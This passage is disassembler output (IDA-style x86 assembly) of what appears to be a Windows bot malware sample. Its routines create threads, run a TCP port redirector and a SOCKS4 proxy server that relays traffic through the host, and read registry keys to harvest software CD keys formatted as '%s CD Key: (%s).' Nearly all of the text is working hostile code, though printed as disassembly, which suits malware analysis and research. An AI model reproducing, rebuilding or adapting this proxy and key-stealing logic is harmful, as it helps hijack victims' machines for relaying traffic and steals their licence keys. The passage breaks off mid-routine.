		jnz	short loc_407A6D
		mov	esi, offset dword_439948
		push	esi
		call	dword_4210BC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4210B8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_407A6D
		lea	eax, [ebp+var_1CC]
		push	offset unk_427AD4
		push	eax
		call	sub_4154E7
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A57
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4C
		add	esp, 14h


loc_407A57:				; CODE XREF: sub_40799F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A6D:				; CODE XREF: sub_40799F+63j
					; sub_40799F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_421060
		mov	edi, ebx
		mov	dword_438FEC[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B3A


loc_407A8B:				; CODE XREF: sub_40799F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A88
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414F93
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43F52C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40778B
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_407B05


loc_407AFA:				; CODE XREF: sub_40799F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B2C
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_407AFA
; ---------------------------------------------------------------------------


loc_407B05:				; CODE XREF: sub_40799F+159j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A38
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		add	esp, 10h


loc_407B2C:				; CODE XREF: sub_40799F+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A8B


loc_407B3A:				; CODE XREF: sub_40799F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BE4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_407B4F:				; CODE XREF: sub_40799F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_438FE8[eax*8]
		push	eax
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4279E0
		push	eax
		call	sub_4154E7
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B9D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4C
		add	esp, 14h


loc_407B9D:				; CODE XREF: sub_40799F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_438FEC[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_4151DB
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BD4
		push	offset dword_439948
		call	dword_4210BC	; RtlDeleteCriticalSection


loc_407BD4:				; CODE XREF: sub_40799F+228j
		push	[ebp+var_2C]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_407BE4:				; CODE XREF: sub_40799F+19Ej
					; sub_40799F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_438FEC[eax*8], 1
		jnz	loc_407B4F
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_407BE4
sub_40799F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BFE	proc near		; DATA XREF: sub_40CE55+35ABo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43A398	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D62
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_43F534[eax], ebx
		call	dword_43A2B4	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A3C4	; bind
		test	eax, eax
		jnz	loc_407D62
		push	0Ah
		push	ebx
		call	dword_43A3C0	; listen
		test	eax, eax
		jnz	loc_407D62


loc_407CA8:				; CODE XREF: sub_407BFE+BEj
					; sub_407BFE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43A42C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407CA8
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427B70
		push	eax
		call	sub_4154E7
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414F93
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43F52C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407D86
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43F53C[ecx], eax
		jz	short loc_407D4D


loc_407D3A:				; CODE XREF: sub_407BFE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407CA8
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_407D3A
; ---------------------------------------------------------------------------


loc_407D4D:				; CODE XREF: sub_407BFE+13Aj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427B20
		call	sub_40B1E1
		pop	ecx
		pop	ecx
		jmp	short loc_407D65
; ---------------------------------------------------------------------------


loc_407D62:				; CODE XREF: sub_407BFE+61j
					; sub_407BFE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D65:				; CODE XREF: sub_407BFE+162j
		push	edi
		call	dword_43A430	; closesocket
		push	ebx
		call	dword_43A430	; closesocket
		push	[ebp+var_3C]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407BFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D86	proc near		; DATA XREF: sub_407BFE+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43A418	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407F3C
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_43A398	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407E16
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43A41C	; gethostbyname
		jmp	short loc_407E24
; ---------------------------------------------------------------------------


loc_407E16:				; CODE XREF: sub_407D86+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43A350	; gethostbyaddr


loc_407E24:				; CODE XREF: sub_407D86+8Ej
		cmp	eax, edi
		jz	loc_407F3C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F3C
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_427C1C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414F93
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43F534[ebx]
		mov	dword_43F52C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43F538[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407F6D
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43F53C[ecx], eax
		jz	short loc_407F29


loc_407ED6:				; CODE XREF: sub_407D86+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_407EE5
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_407ED6
; ---------------------------------------------------------------------------


loc_407EE5:				; CODE XREF: sub_407D86+153j
		mov	ebx, 1000h


loc_407EEA:				; CODE XREF: sub_407D86+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43A3B0	; recv
		cmp	eax, edi
		jle	short loc_407F3C
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EEA
		jmp	short loc_407F3C
; ---------------------------------------------------------------------------


loc_407F29:				; CODE XREF: sub_407D86+14Ej
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427BC8
		call	sub_40B1E1
		pop	ecx
		pop	ecx


loc_407F3C:				; CODE XREF: sub_407D86+44j
					; sub_407D86+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43F534[eax]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	dword_43A430	; closesocket
		push	[ebp+var_4]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407D86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F6D	proc near		; DATA XREF: sub_407D86+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407FA4:				; CODE XREF: sub_407F6D+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43F538[esi]
		call	dword_43A3B0	; recv
		test	eax, eax
		jle	short loc_407FEB
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43F534[esi]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407FA4


loc_407FEB:				; CODE XREF: sub_407F6D+61j
		push	dword_43F538[esi]
		call	dword_43A430	; closesocket
		push	[ebp+var_14]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_407F6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40800A	proc near		; DATA XREF: sub_40CE55+58ABo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43A398	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_43A418	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43A3C4	; bind
		test	eax, eax
		jnz	loc_4081AC
		push	0Ah
		push	edi
		call	dword_43A3C0	; listen
		test	eax, eax
		jnz	loc_4081AC
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D5C
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080E5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412D4C
		add	esp, 14h


loc_4080E5:				; CODE XREF: sub_40800A+B9j
					; sub_40800A+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B16D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A42C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D04
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_414F93
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43F52C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_40820F
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43F53C[ecx], eax
		jz	short loc_40818C


loc_408179:				; CODE XREF: sub_40800A+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080E5
		push	5
		call	dword_421060	; Sleep
		jmp	short loc_408179
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_40800A+16Dj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427CB8
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	loc_4080E5
; ---------------------------------------------------------------------------


loc_4081AC:				; CODE XREF: sub_40800A+7Bj
					; sub_40800A+8Cj
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_427C74
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081EF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412D4C
		add	esp, 14h


loc_4081EF:				; CODE XREF: sub_40800A+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_3C]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40800A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820F	proc near		; DATA XREF: sub_40800A+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43F534[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43A380	; select
		test	eax, eax
		jnz	short loc_408290
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_408290:				; CODE XREF: sub_40820F+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43A3B0	; recv
		test	eax, eax
		jg	short loc_4082C1
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4082C1:				; CODE XREF: sub_40820F+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_4084BB
		cmp	[ebp+var_4CF], 1
		jnz	loc_4084BB
		cmp	[ebp+var_44], bl
		jz	short loc_408357
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408357
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_427E3C
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_408357:				; CODE XREF: sub_40820F+CFj
					; sub_40820F+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_415570
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083EF
		call	dword_43A32C	; WSAGetLastError
		push	eax
		push	offset unk_427DEC
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4083EF:				; CODE XREF: sub_40820F+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40845E
		call	dword_43A32C	; WSAGetLastError
		push	eax
		push	offset unk_427D98
		call	sub_40B1E1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40845E:				; CODE XREF: sub_40820F+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43A3E8	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4084D3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_4084BB:				; CODE XREF: sub_40820F+B9j
					; sub_40820F+C6j
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		push	[ebp+arg_0]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_40820F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084D3	proc near		; CODE XREF: sub_40820F+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084E9:				; CODE XREF: sub_4084D3+C5j
					; sub_4084D3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_408501:				; CODE XREF: sub_4084D3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_408511
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_408501


loc_408511:				; CODE XREF: sub_4084D3+33j
		cmp	ecx, 1
		jnz	short loc_408526
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408526:				; CODE XREF: sub_4084D3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43A380	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43A290	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_408586
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE


loc_408586:				; CODE XREF: sub_4084D3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A290	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4084E9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3B0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085CE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084E9


loc_4085CE:				; CODE XREF: sub_4084D3+9Aj
					; sub_4084D3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085D3	proc near		; CODE XREF: sub_40CE55+52B0p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_427E94, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408785
		push	esi
		push	edi
		mov	eax, offset off_427E94
		mov	esi, offset dword_427EA0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408603:				; CODE XREF: sub_4085D3+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43A408	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43A2A4	; RegQueryValueExA
		test	eax, eax
		jnz	loc_40876B
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_40872F
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415BE8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40876B
		push	eax


loc_40867C:				; CODE XREF: sub_4085D3+D4j
		lea	eax, [ebp+var_70]
